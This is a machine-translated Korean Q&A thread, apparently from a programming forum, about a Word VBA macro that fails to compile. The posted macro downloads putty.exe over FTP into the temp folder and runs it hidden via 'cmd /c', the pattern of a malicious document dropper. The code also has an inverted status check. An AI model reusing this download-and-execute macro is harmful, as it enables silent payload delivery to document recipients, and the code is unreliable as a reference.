0
다운로드를하고 매크로를 실행하려고했습니다. 나는 VB 코드를 끝내고 잘 돌아갔다. 그런 다음 매크로를 일부 서브 시스템에 넣고 매크로로 실행하려고 시도했다. 오류가 발생합니다.컴파일 오류는 매크로 단어로만 vbs입니까?
Compile error, Syntax Error: objXMLHTTP.send()
매크로로 만 오류가 발생합니다. 여기
는 전체 코드입니다 :Sub macro()
Const ADTYPEBINARY = 1
Const ADSAVECREATEOVERWRITE = 2
Dim xHttp
Dim bStrm
Dim filename
Dim fso
Set fso = CreateObject("Scripting.FileSystemObject")
Dim tempfolder
Const TemporaryFolder = 2
Set tempfolder = fso.GetSpecialFolder(TemporaryFolder)
strFileURL = "ftp://username:[email protected]/putty.exe"
strHDLocation = tempfolder & "/putty.exe"
Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.Open "GET", strFileURL, False
objXMLHTTP.send()
If objXMLHTTP.Status = 200 Then
Set objADOStream = CreateObject("ADODB.Stream")
objADOStream.Open
objADOStream.Type = 1 'adTypeBinary
Else
Set objADOStream = CreateObject("ADODB.Stream")
objADOStream.Open
objADOStream.Type = 1 'adTypeBinary
objADOStream.Write objXMLHTTP.ResponseBody
objADOStream.Position = 0 'Set the stream position to the start
Set objFSO = CreateObject("Scripting.FileSystemObject")
If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
Set objFSO = Nothing
objADOStream.SaveToFile strHDLocation
objADOStream.Close
Set objADOStream = Nothing
End If
Set objXMLHTTP = Nothing
Set objShell = WScript.CreateObject("WScript.Shell")
objShell.Run "cmd /c " & tempfolder & "/putty.exe", 0, True
End Sub
당신은 (구글)을 확인 했 그 기능'objXMLHTTP.send()' MS-Word에서 지원됩니까? VBSCRIPT는 VBA와 같지 않으며 각 Office 응용 프로그램에 사용되는 라이브러리에는 특정 기능이 있습니다 (예 : PowerPoint 매크로에서 스프레드 시트를 참조하여 어떤 일이 발생하는지 확인). – FDavidov
아니요, 지원되는 유사한 기능을 찾아 보겠습니다. –
오류 로그를 제공 할 수 있습니까? –